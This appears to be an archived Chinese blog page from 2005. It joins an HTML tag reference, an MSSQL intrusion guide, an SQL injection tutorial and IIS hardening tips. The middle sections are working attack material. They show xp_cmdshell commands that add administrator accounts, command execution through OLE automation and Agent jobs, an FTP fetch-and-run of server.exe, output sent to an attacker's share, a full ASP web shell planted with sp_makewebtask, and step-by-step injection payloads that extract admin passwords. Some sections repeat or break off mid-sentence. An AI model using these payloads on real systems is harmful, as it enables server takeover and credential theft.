2005年10月21日

来源:www.hackbase.com         

         这里收集了 HTML 的所有语法〈当然并不是全部,但也差不多是这样了〉。希望对网友查询时比较方便。 注:按英文字母顺序排列  
卷标 , 属性名称 简介  

  <! - - … - -> 批注  

  <A HREF TARGET> 指定超级链接的分割窗口  

  <A HREF=#锚的名称> 指定锚名称的超级链接  

  <A HREF> 指定超级链接  

  <A NAME=锚的名称> 被连结点的名称  

  <ADDRESS>….</ADDRESS> 用来显示电子邮箱地址  

  <B> 粗体字  

  <BASE TARGET> 指定超级链接的分割窗口  

  <BASEFONT SIZE> 更改预设字形大小  

  <BGSOUND SRC> 加入背景音乐  

  <BIG> 显示大字体  

  <BLINK> 闪烁的文字  

  <BODY TEXT LINK VLINK> 设定文字颜色  

  <BODY> 显示本文  

  <BR> 换行  



  <CAPTION ALIGN> 设定表格标题位置  

  <CAPTION>…</CAPTION> 为表格加上标题  

  <CENTER> 向中对齐  

  <CITE>…<CITE> 用于引经据典的文字  

  <CODE>…</CODE> 用于列出一段程序代码  

  <COMMENT>…</COMMENT> 加上批注 



  <DD> 设定定义列表的项目解说  

  <DFN>…</DFN> 显示"定义"文字  

  <DIR>…</DIR> 列表文字卷标  

  <DL>…</DL> 设定定义列表的卷标  

  <DT> 设定定义列表的项目  



  <EM> 强调之用  



  <FONT FACE> 任意指定所用的字形  

  <FONT SIZE> 设定字体大小  

  <FORM ACTION> 设定户动式窗体的处理方式  

  <FORM METHOD> 设定户动式窗体之资料传送方式  

  <FRAME MARGINHEIGHT> 设定窗口的上下边界  

  <FRAME MARGINWIDTH> 设定窗口的左右边界  

  <FRAME NAME> 为分割窗口命名  

  <FRAME NORESIZE> 锁住分割窗口的大小  

  <FRAME SCROLLING> 设定分割窗口的滚动条  

  <FRAME SRC> 将HTML文件加入窗口  

  <FRAMESET COLS> 将窗口分割成左右的子窗口  

  <FRAMESET ROWS> 将窗口分割成上下的子窗口  

  <FRAMESET>…</FRAMESET> 划分分割窗口  



  <H1>~<H6> 设定文字大小  

  <HEAD> 标示文件信息  

  <HR> 加上分网格线  

  <HTML> 文件的开始与结束  



  <I> 斜体字  

  <IMG ALIGN> 调整图形影像的位置  

  <IMG ALT> 为你的图形影像加注  

  <IMG DYNSRC LOOP> 加入影片  

  <IMG HEIGHT WIDTH> 插入图片并预设图形大小  

  <IMG HSPACE> 插入图片并预设图形的左右边界  

  <IMG LOWSRC> 预载图片功能  

  <IMG SRC BORDER> 设定图片边界  

  <IMG SRC> 插入图片  

  <IMG VSPACE> 插入图片并预设图形的上下边界  

  <INPUT TYPE NAME VALUE> 在窗体中加入输入字段  

  <ISINDEX> 定义查询用窗体  


  

  <KBD>…</KBD> 表示使用者输入文字  


  

  <LI TYPE>…</LI> 列表的项目 ( 可指定符号 )  


  

  <MARQUEE> 跑马灯效果  

  <MENU>…</MENU> 条列文字卷标  

  <META NAME="REFRESH" CONTENT URL> 自动更新文件内容  

  <MULTIPLE> 可同时选择多项的列表栏  


  

  <NOFRAME> 定义不出现分割窗口的文字  


  

  <OL>…</OL> 有序号的列表  

  <OPTION> 定义窗体中列表栏的项目  


  

  <P ALIGN> 设定对齐方向  

  <P> 分段  

  <PERSON>…</PERSON> 显示人名  

  <PRE> 使用原有排列  


  

  <SAMP>…</SAMP> 用于引用字  

  <SELECT>…</SELECT> 在窗体中定义列表栏  

  <SMALL> 显示小字体  

  <STRIKE> 文字加横线  

  <STRONG> 用于加强语气  

  <SUB> 下标字  

  <SUP> 上标字  


  

  <TABLE BORDER=n> 调整表格的宽线高度  

  <TABLE CELLPADDING> 调整数据域位之边界  

  <TABLE CELLSPACING> 调整表格线的宽度  

  <TABLE HEIGHT> 调整表格的高度  

  <TABLE WIDTH> 调整表格的宽度  

  <TABLE>…</TABLE> 产生表格的卷标  

  <TD ALIGN> 调整表格字段之左右对齐  

  <TD BGCOLOR> 设定表格字段之背景颜色  

  <TD COLSPAN ROWSPAN> 表格字段的合并  

  <TD NOWRAP> 设定表格字段不换行  

  <TD VALIGN> 调整表格字段之上下对齐  

  <TD WIDTH> 调整表格字段宽度  

  <TD>…</TD> 定义表格的数据域位  

  <TEXTAREA NAME ROWS COLS> 窗体中加入多少列的文字输入栏  

  <TEXTAREA WRAP> 决定文字输入栏是自动否换行  

  <TH>…</TH> 定义表格的标头字段  

  <TITLE> 文件标题  

  <TR>…</TR> 定义表格美一行  

  <TT> 打字机字体  


  <U> 文字加底线  

  <UL TYPE>…</UL> 无序号的列表 ( 可指定符号 )  

  <VAR>…</VAR> 用于显示变量 

2005年06月04日

假设一台主机开了1433端口我们已通过SQL注入或是空弱密码远程连接
能有哪些办法加一个系统管理员用户呢(或是执行系统命令)

1).XP_CMDSHELL ’cmd.exe /c net user aaa bbb /add’
人人都知道的办法,最大的好处是有回显,但是最怕

if exists (select * from  
dbo.sysobjects where id = object_id(N’[dbo].[xp_cmdshell]’) and  
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1)
exec sp_dropextendedproc N’[dbo].[xp_cmdshell]’
GO

通过上面的T-SQL语句就可以把这个扩展储存删了

我们一般可以用
2k:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’  
SQL97:
EXEC sp_addextendedproc xp_cmdshell ,@dllname =’xpsql70.dll’

就还原了.

但是有的人知道sp_addextendedproc也只不过是一个储存过程一样可以删除的

DROP PROCEDURE sp_addextendedproc
if exists (select * from  
dbo.sysobjects where id = object_id(N’[dbo].[xp_cmdshell]’) and  
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1)
exec sp_dropextendedproc N’[dbo].[xp_cmdshell]’
GO  

还原:
create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
/*
** Create the extended procedure mapping.
*/
dbcc addextendedproc( @functname, @dllname)
return (0) — sp_addextendedproc
GO  

唉呀呀写了这么多其实有个最简单的保护办法:
先NET stop mssqlserver,然后把xplog70.dll(SQL97下用xpsql70.dll)删了
再把服务打开就可以了

2)
看了上面的你就明白了xp_cmdshell最终是可以被删除的,没别的办法了吗?
有写注册表三:
xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\currentversion\run’, ’czy82’,’REG_SZ’, net user czy bb /add

其实注册表还有好几个地方可以写的比如说注册表中的WEB浏览设置
用写注册表的办法不好的地方是不但没有回显而且不能马上运行,实不实用我也不知道了:(

3)
declare @s  int
exec sp_oacreate "wscript.shell",@s out
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo open asp.7i24.com>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo 123321>>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo get server.exe>>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c echo close>>c:\a.txt"
–exec sp_oamethod @s,"run",NULL,"cmd.exe /c ftp -s:c:\a.txt"
exec sp_oamethod @s,"run",NULL,"cmd.exe /c server"

对了正如你看到的我们还可以使用sp_oacreate和sp_oamethod,在它们的作用下我们可以
调用系统的控件比如说fso,wsh,shell什么的,但是有个问题是并不能象xp_cmdshell那样
马上看到结果,真的不能吗看下面的:

declare @s  int,@o int ,@f int,@str nvarchar(4000)
/*exec sp_oacreate "wscript.shell",@s out
exec sp_oamethod @s,"run",NULL,"cmd.exe /c net user>c:\temp.txt"*/
exec sp_oacreate "scripting.filesystemobject", @o out
exec sp_oamethod @o, "opentextfile", @f out,"c:\temp.txt", 1
exec sp_oamethod @f, "readall",@str out
print @str

先执行注解内的然后执行外面的其实原理很简单就是利用>把结果写到一个文件中然后用
fso来读出来!很实用的:)


——————————————
写到这儿该作个总结了上面三个办法可能大家都知道吧
下面的可能知道的人就少了:)
——————————————

4)
use msdb; –这儿不要是master哟
exec sp_add_job @job_name=’czy82’;
exec sp_add_jobstep @job_name=’czy82’,@step_name = ’Exec my sql’,@subsystem=’CMDEXEC’,@command=’dir c:\>c:\b.txt’;
exec sp_add_jobserver @job_name = ’czy82’,@server_name = ’smscomputer’;
exec sp_start_job @job_name=’czy82’;

利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
执行tsql语句了.
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名
                        第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
                        net start SQLSERVERAGENT

对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
USE msdb
EXEC sp_add_job @job_name = ’GetSystemOnSQL’,
@enabled = 1,
@description = ’This will give a low privileged user access to
xp_cmdshell’,
@delete_level = 1
EXEC sp_add_jobstep @job_name = ’GetSystemOnSQL’,
@step_name = ’Exec my sql’,
@subsystem = ’TSQL’,
@command = ’exec master..xp_execresultset N’’select ’’’’exec
master..xp_cmdshell "dir > c:\agent-job-results.txt"’’’’’’,N’’Master’’’
EXEC sp_add_jobserver @job_name = ’GetSystemOnSQL’,
@server_name = ’你的SQL的服务器名’
EXEC sp_start_job @job_name = ’GetSystemOnSQL’

不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
才让我们可以以public执行xp_cmdshell


5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
在安焦有文章http://www.xfocus.net/vuln/vul_view.php?vul_id=2968

USE msdb
EXEC sp_add_job @job_name = ’ArbitraryFileCreate’,
@enabled = 1,
@description = ’This will create a file called c:\sqlafc123.txt’,
@delete_level = 1
EXEC sp_add_jobstep @job_name = ’ArbitraryFileCreate’,
@step_name = ’SQLAFC’,
@subsystem = ’TSQL’,
@command = ’select ’’hello, this file was created by the SQL Agent.’’’,
@output_file_name = ’c:\sqlafc123.txt’
EXEC sp_add_jobserver @job_name = ’ArbitraryFileCreate’,
@server_name = ’SERVER_NAME’
EXEC sp_start_job @job_name = ’ArbitraryFileCreate’  

如果subsystem选的是:tsql,在生成的文件的头部有如下内容

??揂rbitraryFileCreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
———————————————-
hello, this file was created by the SQL Agent.

(1 ?????)

所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
命令的vbs文件到启动目录!

6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
  关于sp_MScopyscriptfile 看下面的例子
declare @command varchar(100)  
declare @scripfile varchar(200)  
set concat_null_yields_null off  
select @command=’dir c:\ > "\\attackerip\share\dir.txt"’  
select @scripfile=’c:\autoexec.bat > nul" | ’ + @command + ’ | rd "’  
exec sp_MScopyscriptfile @scripfile ,’’  

这两个东东都还在测试试哟

7)以PUBLIC用户的权限来得到一个WEB shell
exec sp_makewebtask @outputfile%3d’D:\WEB\chinamanagers\aacc.asp’,@charset%3dgb2312,@query%3d’select ’’<%25On Error Resume Next : Set oscript %3d Server.CreateObject("wscript.SHELL") : Set oscriptNet %3d Server.CreateObject("wscript.NETWORK") : Set oFileSys %3d Server.CreateObject("scripting.FileSystemObject") : szCMD %3d Request.Form(".CMD") : If (szCMD <>"")Then : szTempFile %3d "C:\" %26 oFileSys.GetTempName() : Call oscript.Run ("cmd.exe /c " %26 szCMD %26 " > " %26 szTempFile, 0, True) : Set oFile %3d oFilesys.OpenTextFile (szTempFile, 1, False, 0) End If %25> <HTML><BODY><FORM action%3d"<%25%3d Request.ServerVariables("URL")%25>" method%3d"POST"> <input type%3dtext name%3d".CMD" size%3d45 value%3d"<%25%3d szCMD %25>"><input type%3dsubmit value%3d"Run"> </FORM><PRE> <%25 If (IsObject(oFile))Then : On Error Resume Next : Response.Write Server.HTMLEncode(oFile.ReadAll) : oFile.Close : Call oFileSys.DeleteFile(szTempFile, True) : End If%25> </BODY></HTML> ’’’  

————————————————–
写了这么多好象不只是写如何执行程序了,反正就到这儿吧:)
————————————————–

czy 原创于 03.02.7  
  
2003-9-27 12:23 PM                    
  
  
succkey
Administrator



让MSSQL的public用户得到一个本机的web shell:)

sp_makewebtask @outputfile=’d:\sms\a.asp’,@charset=gb2312,
–@query=’select ’’<img src=vbscript:msgbox(now())>’’’
–@query=’select ’’<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>’’ ’
@query=’select ’’
<%On Error Resume Next  
Set oscript = Server.CreateObject("wscript.SHELL")  
Set oscriptNet = Server.CreateObject("wscript.NETWORK")  
Set oFileSys = Server.CreateObject("scripting.FileSystemObject")  
szCMD = Request.Form(".CMD")  
If (szCMD <>"")Then  
szTempFile = "C:\" & oFileSys.GetTempName()  
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)  
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)  
End If %>  
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="POST">  
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">  
</FORM><PRE>  
<% If (IsObject(oFile))Then  
On Error Resume Next  
Response.Write Server.HTMLEncode(oFile.ReadAll)  
oFile.Close  
Call oFileSys.DeleteFile(szTempFile, True)  
End If%>  
</BODY></HTML> ’’’  
  
SQL关键篇  
第一步:建立一个名为cyfd的表,并且添加的类型是char,长度为255的字段名gyfd。  
script.asp?id=2;create table [dbo].[cyfd] ([gyfd][char](255));  
第二步: 从注册表中读出WEB绝对路径再把路径插入到刚建的表中,然后报出webshell的路径。  
script.asp?id=2;DECLARE @result varchar(255) exec master.dbo.xp_regread ’HKEY_LOCAL_MACHINE’,’SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots’, ’/’ ,@result output insert into cyfd (gyfd) values(@result);–  
第三步:出错后,IE返回错误,我们得到WEB绝对路径“……”。  
scrip.asp?id=2 and 1=(select count(*) from cyfd where gyfd >1)  
下面就用MSSQL WEB SHELL这个工具了。上传ASP木马。输入远程木马绝对路径。  
第四步:删除刚才建的表。  
script.asp?id=2;drop table cyfd:–  
第五步:恢复XP_cmdshell,向系统权限进军。  
script.asp?id=2;EXEC master.dbo.sp_addexttendedproc ’xp_cmdshell’, ’xplog70.dll的路径’  
第六步:检查恢复情况。  
script.asp?id=2 and 1=(SELECT count(*) FORM  master.dbo.sysobjects where xtype = ’x’ and name =’xp_cmdshell’)  
第七步:提升权限。  
script.asp?id=2;exec master.dbo.xp_cmdshell ’net user tsgxyy testtest /add’  
—————————————————————————————————–
陷是否存在呢?
首先先加入某些特殊的字符标记,输入如:
hi’ or 1=1–
寻找一些登陆页面,在其登陆ID与密码输入处,或URL中输入:
- Login: hi’ or 1=1–
- Pass: hi’ or 1=1–
- http://duck/index.asp?id=hi’ or 1=1–
如果想以‘隐藏’的方式进行此类测试,你可以把该HTML网页从网站上下载至本地硬盘,修改其隐藏部分
的值,如:
<FORM action=http://duck/Search/search.asp method=post>
<input type=hidden name=A value="hi’ or 1=1–">
</FORM>
如果阁下是幸运的话估计现在已经可以不需要帐号与密码而‘成功登陆’了。

3.1为什么使用的是’ or 1=1–呢?
让我们来看看其他例子中使用’or 1=1–的重要性吧。有别于正常的登陆方式,使用这样的登陆方式可能
可以得到正常登陆中不能得到的某些特殊信息。用一个链接中得到的ASP页来打比方:
http://duck/index.asp?category=food
在上面这条URL中,’category’是一个变量名,而’food’是赋予该变量的值。为了做到这些(链接成功),
这个ASP必须包含以下相关的代码(下面也是我们为了演示这个实验所写的代码):
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory=’" & v_cat & "’"
set rs=conn.execute(sqlstr)
正如我们所看到的,变量值将会预先处理然后赋值于’v_cat’,也就是说该SQL语句将会变为:
SELECT * FROM product WHERE PCategory=’food’
这个请求将会返回通过WHERE条件比较后得到的结果,在这个例子中也就是’food’了。现在设想一下如果
我们把该URL改成这样的话:
http://duck/index.asp?category=food’ or 1=1–
现在我们的变量v_cat的值就等同于"food’ or 1=1–"了,现在如果我们要重新代入那条SQL请求的话,
那条SQL请求将会是:
SELECT * FROM product WHERE PCategory=’food’ or 1=1–’
现在这个请求将会从product表中选取每一条信息而并不会去理会PCategory是否等于’food’。至于结尾
部分的那两条’–’(破折号)则用于‘告诉’MS SQL SERVER忽略结尾最后的那个’(单引号)。有的时候也
可以使用’#’(井号)来代替’–’(双破折号)在这里的用法。
无论如何,如果对方不是一台SQL服务器(这里指的是MS SQL SERVER),或者你不能使用简单的方法去忽
略最后的那个单引号的话,你可以尝试:
’ or ’a’=’a
这样的话整个SQL请求将会变为:
SELECT * FROM product WHERE PCategory=’food’ or ’a’=’a’
它也会返回相同的结果。
根据实际情况,SQL注入请求是可以有多种动态变化的可能性的:
’ or 1=1–
" or 1=1–
or 1=1–
’ or ’a’=’a
" or "a"="a
’) or (’a’=’a

4.0如何在SQL注入请求中加入即时执行命令?
能够进行SQL注入的服务器通常都是一些疏于做系统性配置检查的机器,此时我们可以尝试使用SQL的命
令执行请求。默认的MS SQL服务器是运行在SYSTEM用户级别下的,这等同于系统管理员的执行与访问权
限。我们可以使用MS SQL SERVER的扩展储存过程(如master..xp_cmdshell等)来执行远程系统的某些命
令:
’; exec master..xp_cmdshell ’ping 10.10.1.2’–
若失败可以尝试一下使用"(双引号)代替’(单引号)。
上面例子中的第二个冒号代表一句SQL请求的结束(也代表了它后面紧跟着一条新SQL命令)。若要检验上
面这条PING命令是否成功,你可以在10.10.1.2这台机器上监听ICMP请求包,并确认它是否来自那台SQL
服务器就可以了:
#tcpdump icmp
如果你不能从那台SQL服务器中得到PING请求的话,并在SQL请求的返回值中得到错误信息的话,有可能
是因为该SQL服务器的管理员限制了WEB用户访问这些储存过程了。

5.0如何可以获取到我发的SQL请求的相关返回信息呢?
我们可以使用sp_makewebtask处理过程的相关请求写入URL:
’; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION
_SCHEMA.TABLES"
但先决条件是目标主机的文件夹“share”属性必须设置为“Everyone”。

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?
我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表
名、列名等)。比方有这么一个URL:
http://duck/index.asp?id=10
在上面的URL中我们可以尝试使用UNION子句的方式在整数’10’之后加入其他请求字符串进去的,如:
http://duck/index.asp?id=10UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES–
上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就
包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询
问请求就是:
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之
后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int
)时,系统就会产生错误。服务器会显示如下错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
table1’ to a column of data type int.
/index.asp, line 5
非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例
中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:
http://duck/index.asp?id=10UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME NOT IN (’table1’)–
我们也可以通过LIKE来找寻相关的特殊字:
http://duck/index.asp?id=10UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH
ERE TABLE_NAME LIKE ’%25login%25’–
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
admin_login’ to a column of data type int.
/index.asp, line 5

6.1如何找出表中的列名?
我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:
http://duck/index.asp?id=10UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’–
输出显示为:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
login_id’ to a column of data type int.
/index.asp, line 5
现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:
http://duck/index.asp?id=10UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’)–
输出得到:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
login_name’ to a column of data type int.
/index.asp, line 5
若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下
面的请求后就可以得到(除了’login_id’,’login_name’,’password’,details’之外的列名):
http://duck/index.asp?id=10UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS
WHERE TABLE_NAME=’admin_login’ WHERE COLUMN_NAME NOT IN (’login_id’,’login_name’,’password’
,details’)–
输出后得到:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select lis
t if the statement contains a UNION operator.
/index.asp, line 5

6.2如何找到我们需要的数据?
现在我们需要鉴别出一些比较重要的表与列,我们可以用相同的技巧询问数据库从而得到相关的信息。
现在让我们问问"admin_login"表的第一个用户名是什么吧:
http://duck/index.asp?id=10UNION SELECT TOP 1 login_name FROM admin_login–
输出:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
neo’ to a column of data type int.
/index.asp, line 5
知道了一个管理员帐号是"neo"。最后,问问这个管理员帐号的密码是什么吧:
http://duck/index.asp?id=10UNION SELECT TOP 1 password FROM admin_login where login_name=’
neo’–
输出:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
m4trix’ to a column of data type int.
/index.asp, line 5
现在我们可以用"neo"与他的密码("m4trix")来登陆系统了。

6.3如何获得数字串值?
在这里技术上表达的一种局限性。若要将数字(0-9之间的数字)转换为正常的文本数据的话,我们将无法
得到我们所需要的错误提示信息。举个例子,我们现在要尝试得到帐号为"trinity"的密码,而它所对应
的密码为"31173":
http://duck/index.asp?id=10UNION SELECT TOP 1 password FROM admin_login where login_name=’
trinity’–
这样我们大概只能得到“Page Not Found”这样的错误提示。这其中的主要问题在于,在与整数(这个例
子中为10)进行了合集(使用了UNION子句)以后这个密码"31173"将会被系统转换为数值。这样的话这个UN
ION字句调用就是‘合法’的了,SQL服务器将不会返回任何ODBC错误信息,因而我们是不可能得到这些
数字型数据的。
为了解决这个问题,我们可以为这些数据字符串加入一些字母表来确定转化过程是错误的。让我们试试
用下面的这条请求来代替原来的请求吧:
http://duck/index.asp?id=10UNION SELECT TOP 1 convert(int, password%2b’%20morpheus’) FROM
admin_login where login_name=’trinity’–
在这里我们只不过是加入了一个(+)加号与其它我们想加入的字符进去而已(在ASCII中’+’等于0×2b)。我
们加入了一个(%20)空格与morpheus(随便一个字符串)进入实际的密码数据中。这样的话,即使我们得到
了数字串’31173’,它也会变成’31173 morpheus’。
在执行了convert()函数后,系统会尝试将’31173 morpheus’转换为整数型,SQL服务器一定会返回这样
的ODBC错误信息:
Microsoft OLE DB Provider for ODBC Drivers error ’80040e07’
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value ’
31173 morpheus’ to a column of data type int.
/index.asp, line 5
现在你可以知道’trinity’的密码是’31173’了吧。

2005年05月31日

  1.如何让asp脚本以system权限运行?
  
  修改你asp脚本所对应的虚拟目录,把"应用程序保护"修改为"低"….
  
 
 2.如何防止asp木马?
  
  基于FileSystemObject组件的asp木马

  
  cacls %systemroot%\system32\scrrun.dll /e /d guests //禁止guests使用
  
  regsvr32 scrrun.dll /u /s //删除
  
  基于shell.application组件的asp
木马
  
  cacls %systemroot%\system32\shell32.dll /e /d guests //禁止guests使用
  
  regsvr32 shell32.dll /u /s //删除
  
 
 3.如何加密asp文件?
  
  从微软免费下载到sce10chs.exe 直接运行即可完成安装过程。
  
  安装完毕后,将生成screnc.exe文件,这是一个运行在DOS PROMAPT的命令
工具
  
  运行screnc – l vbscript source.asp destination.asp
  
  生成包含密文ASP脚本的新文件destination.asp
  

  用记事本打开看凡是""之内的,不管是否注解,都变成不可阅读的密文了
  
  但无法加密中文。
  
  
4.如何从IISLockdown中提取urlscan?
  
  
iislockd.exe /q /c /t:c:\urlscan
  
  
5.如何防止Content-Location标头暴露了web服务器的内部IP地址?
  
  执行
  
  cscript c:\inetpub\adminscripts\adsutil.vbs set w3svc/UseHostName True
  
  最后需要重新启动
iis
  
  
6.如何解决HTTP500内部错误?
  
  
iis http500内部错误大部分原因
  
  主要是由于iwam账号的
密码不同步造成的。
  
  我们只要同步iwam
_myserver账号在com+应用程序中的密码即可解决问题。
  
  执行
  
  cscript c:\inetpub\adminscripts\synciwam.vbs -v


  7.如何增强iis防御SYN Flood的能力?
  
  Windows Registry Editor Version 5.00
  
  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
 
   启动syn攻击保护。缺省项值为0,表示不开启攻击保护,项值为1和2表示启动syn攻击保护,设成2之后

2005年04月22日

文章编辑:NetHacking 作者: 沉睡不醒 转自:http://fox.he100.com/
1.如何让asp脚本以system权限运行?
  
  修改你asp脚本所对应的虚拟目录,把"应用程序保护"修改为"低"….
  
  2.如何防止asp木马?
  
  基于FileSystemObject组件的asp木马
  
  cacls %systemroot%\system32\scrrun.dll /e /d guests //禁止guests使用
  
  regsvr32 scrrun.dll /u /s //删除
  
  基于shell.application组件的asp木马
  
  cacls %systemroot%\system32\shell32.dll /e /d guests //禁止guests使用
  
  regsvr32 shell32.dll /u /s //删除
  
  3.如何加密asp文件?
  
  从微软免费下载到sce10chs.exe 直接运行即可完成安装过程。
  
  安装完毕后,将生成screnc.exe文件,这是一个运行在DOS PROMAPT的命令工具。
  
  运行screnc – l vbscript source.asp destination.asp
  
  生成包含密文ASP脚本的新文件destination.asp
  
  用记事本打开看凡是""之内的,不管是否注解,都变成不可阅读的密文了
  
  但无法加密中文。
  
  4.如何从IISLockdown中提取urlscan?
  
  iislockd.exe /q /c /t:c:\urlscan
  
  5.如何防止Content-Location标头暴露了web服务器的内部IP地址?
  
  执行
  
  cscript c:\inetpub\adminscripts\adsutil.vbs set w3svc/UseHostName True
  
  最后需要重新启动iis
  
  6.如何解决HTTP500内部错误?
  
  iis http500内部错误大部分原因
  
  主要是由于iwam账号的密码不同步造成的。
  
  我们只要同步iwam_myserver账号在com+应用程序中的密码即可解决问题。
  
  执行
  
  cscript c:\inetpub\adminscripts\synciwam.vbs -v
  7.如何增强iis防御SYN Flood的能力?
  
  Windows Registry Editor Version 5.00
  
  [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]
  
  启动syn攻击保护。缺省项值为0,表示不开启攻击保护,项值为1和2表示启动syn攻击保护,设成2之后
  
  安全级别更高,对何种状况下认为是攻击,则需要根据下面的TcpMaxHalfOpen和TcpMaxHalfOpenRetried值
  
  设定的条件来触发启动了。这里需要注意的是,NT4.0必须设为1,设为2后在某种特殊数据包下会导致系统重启。
  
  "SynAttackProtect"=dword:00000002
  
  同时允许打开的半连接数量。所谓半连接,表示未完整建立的TCP会话,用netstat命令可以看到呈SYN_RCVD状态
  
  的就是。这里使用微软建议值,服务器设为100,高级服务器设为500。建议可以设稍微小一点。
  
  "TcpMaxHalfOpen"=dword:00000064
  
  判断是否存在攻击的触发点。这里使用微软建议值,服务器为80,高级服务器为400。
  
  "TcpMaxHalfOpenRetried"=dword:00000050
  
  设置等待SYN-ACK时间。缺省项值为3,缺省这一过程消耗时间45秒。项值为2,消耗时间为21秒。
  
  项值为1,消耗时间为9秒。最低可以设为0,表示不等待,消耗时间为3秒。这个值可以根据遭受攻击规模修改。
  
  微软站点安全推荐为2。
  
  "TcpMaxConnectResponseRetransmissions"=dword:00000001
  
  设置TCP重传单个数据段的次数。缺省项值为5,缺省这一过程消耗时间240秒。微软站点安全推荐为3。
  
  "TcpMaxDataRetransmissions"=dword:00000003
  
  设置syn攻击保护的临界点。当可用的backlog变为0时,此参数用于控制syn攻击保护的开启,微软站点安全推荐为5。
  
  "TCPMaxPortsExhausted"=dword:00000005
  
  禁止IP源路由。缺省项值为1,表示不转发源路由包,项值设为0,表示全部转发,设置为2,表示丢弃所有接受的
  
  源路由包,微软站点安全推荐为2。
  
  "DisableIPSourceRouting"=dword:0000002
  
  限制处于TIME_WAIT状态的最长时间。缺省为240秒,最低为30秒,最高为300秒。建议设为30秒。
  
  "TcpTimedWaitDelay"=dword:0000001e
  8.如何避免*mdb文件被下载?
  
  安装ms发布的urlscan工具,可以从根本上解决这个问题。
  
  同时它也是一个强大的安全工具,你可以从ms的网站上获取更为详细的信息。
  
  9.如何让iis的最小ntfs权限运行?
  
  依次做下面的工作:
  
  a.选取整个硬盘:
  
  system:完全控制
  
  administrator:完全控制
  
  (允许将来自父系的可继承性权限传播给对象)
  
  b.\program files\common files:
  
  everyone:读取及运行
  
  列出文件目录
  
  读取
  
  (允许将来自父系的可继承性权限传播给对象)
  
